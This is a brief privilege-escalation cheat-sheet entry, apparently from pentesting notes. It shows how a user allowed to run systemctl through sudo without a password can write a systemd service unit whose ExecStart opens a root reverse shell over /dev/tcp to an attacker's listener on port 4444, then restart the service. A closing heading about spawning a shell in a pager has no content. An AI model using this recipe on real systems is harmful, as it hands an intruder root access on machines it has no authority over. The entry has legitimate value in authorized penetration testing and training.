Sudo Systemctl Privilege Escalation
Modify Configurations
sudo -l
(ALL) NOPASSWD: systemctl1. Update the Config File
[Unit]
This is an example service.
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<local-ip>/4444 0>&1'
[Install]
WantedBy=multi-user.target2. Start Listener in Local Machine
3. Restart the Service
Spawn Shell in the Pager
Last updated